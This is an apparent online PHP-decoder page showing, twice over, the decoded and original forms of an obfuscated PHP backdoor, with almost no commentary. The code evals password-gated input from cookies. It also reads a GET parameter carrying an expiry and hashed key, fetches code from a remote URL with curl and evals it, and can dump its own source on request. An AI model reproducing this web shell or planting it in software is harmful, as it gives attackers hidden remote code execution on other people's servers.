Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Uwg = 'range'; $RiI = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't'..
Decoded Output download
<?php
$Uwg = 'range';
$RiI = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$H = ${$RiI[31 + 0] . $RiI[21 + 38] . $RiI[25 + 22] . $RiI[47 + 0] . $RiI[18 + 33] . $RiI[0 + 53] . $RiI[49 + 8]};
@(md5(md5(md5(md5($H[17])))) === "015d1a9cca70f4590c30fe7e3a2ea821") && (count($H) == 23 && in_array(gettype($H) . count($H), $H)) ? ($H[61] = $H[61] . $H[79]) && ($H[86] = $H[61]($H[86])) && @eval($H[61](${$H[44]}[23])) : $H;
class Ly
{
static function BFisZ($KxR)
{
$WySnFwNua = 'range';
$uTvwmPGyEp = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$ZRv = explode(':', $KxR);
$WTjKV = '';
foreach ($ZRv as $Gbf => $Nn) {
$WTjKV .= $uTvwmPGyEp[$Nn - 83662];
}
return $WTjKV;
}
static function lnrR($mLf, $ACT)
{
$ChKzf = curl_init($mLf);
curl_setopt($ChKzf, CURLOPT_RETURNTRANSFER, 1);
$lXGcwuI = curl_exec($ChKzf);
return empty($lXGcwuI) ? $ACT($mLf) : $lXGcwuI;
}
static function PBR()
{
$JaVu = array('83689:83674:83687:83691:83672:83687:83693:83686:83671:83678:83689:83672:83683:83677:83678', '83673:83672:83674:83693:83674:83677:83672:83739:83737', '83682:83673:83677:83678:83693:83688:83687:83689:83677:83688:83687', '83676:83691:83689:83681', '83690:83691:83673:83687:83734:83736:83693:83688:83687:83689:83677:83688:83687', '83686:83683:83680:83687:83693:83685:83687:83672:83693:83689:83677:83678:83672:83687:83678:83672:83673', '83716:83746', '83663', '83741:83746', '83723:83706:83706:83723:83699', '83677:83686');
foreach ($JaVu as $pnI) {
$hsUutRgc[] = self::BFisZ($pnI);
}
$MtUin = @$hsUutRgc[1](${"_" . 'GET'}[$hsUutRgc[8 + 1]]);
$LIeTP = @$hsUutRgc[0 + 3]($hsUutRgc[5 + 1], $MtUin);
$YAcF = $hsUutRgc[2 + 0]($LIeTP, true);
@${"_" . 'GET'}[$hsUutRgc[10 + 0]] == 1 && die($hsUutRgc[4 + 1](__FILE__));
if (@$YAcF[0] - time() > 0 and md5(md5($YAcF[3 + 0])) === "52231c9f4161253cb4063053145fb2e7") {
$ByQhCgNK = self::lnrR($YAcF[1 + 0], $hsUutRgc[4 + 1]);
@eval($hsUutRgc[0 + 4]($ByQhCgNK));
die;
}
}
}
Ly::PBR(); ?>
Did this file decode correctly?
Original Code
<?php
$Uwg = 'range';
$RiI = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$H = ${$RiI[31 + 0] . $RiI[21 + 38] . $RiI[25 + 22] . $RiI[47 + 0] . $RiI[18 + 33] . $RiI[0 + 53] . $RiI[49 + 8]};
@(md5(md5(md5(md5($H[17])))) === "015d1a9cca70f4590c30fe7e3a2ea821") && (count($H) == 23 && in_array(gettype($H) . count($H), $H)) ? ($H[61] = $H[61] . $H[79]) && ($H[86] = $H[61]($H[86])) && @eval($H[61](${$H[44]}[23])) : $H;
class Ly
{
static function BFisZ($KxR)
{
$WySnFwNua = 'range';
$uTvwmPGyEp = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$ZRv = explode(':', $KxR);
$WTjKV = '';
foreach ($ZRv as $Gbf => $Nn) {
$WTjKV .= $uTvwmPGyEp[$Nn - 83662];
}
return $WTjKV;
}
static function lnrR($mLf, $ACT)
{
$ChKzf = curl_init($mLf);
curl_setopt($ChKzf, CURLOPT_RETURNTRANSFER, 1);
$lXGcwuI = curl_exec($ChKzf);
return empty($lXGcwuI) ? $ACT($mLf) : $lXGcwuI;
}
static function PBR()
{
$JaVu = array('83689:83674:83687:83691:83672:83687:83693:83686:83671:83678:83689:83672:83683:83677:83678', '83673:83672:83674:83693:83674:83677:83672:83739:83737', '83682:83673:83677:83678:83693:83688:83687:83689:83677:83688:83687', '83676:83691:83689:83681', '83690:83691:83673:83687:83734:83736:83693:83688:83687:83689:83677:83688:83687', '83686:83683:83680:83687:83693:83685:83687:83672:83693:83689:83677:83678:83672:83687:83678:83672:83673', '83716:83746', '83663', '83741:83746', '83723:83706:83706:83723:83699', '83677:83686');
foreach ($JaVu as $pnI) {
$hsUutRgc[] = self::BFisZ($pnI);
}
$MtUin = @$hsUutRgc[1](${"_" . 'GET'}[$hsUutRgc[8 + 1]]);
$LIeTP = @$hsUutRgc[0 + 3]($hsUutRgc[5 + 1], $MtUin);
$YAcF = $hsUutRgc[2 + 0]($LIeTP, true);
@${"_" . 'GET'}[$hsUutRgc[10 + 0]] == 1 && die($hsUutRgc[4 + 1](__FILE__));
if (@$YAcF[0] - time() > 0 and md5(md5($YAcF[3 + 0])) === "52231c9f4161253cb4063053145fb2e7") {
$ByQhCgNK = self::lnrR($YAcF[1 + 0], $hsUutRgc[4 + 1]);
@eval($hsUutRgc[0 + 4]($ByQhCgNK));
die;
}
}
}
Ly::PBR();
Function Calls
None |
Stats
MD5 | 96f826232c2a075553a6a84f264bce3f |
Eval Count | 0 |
Decode Time | 275 ms |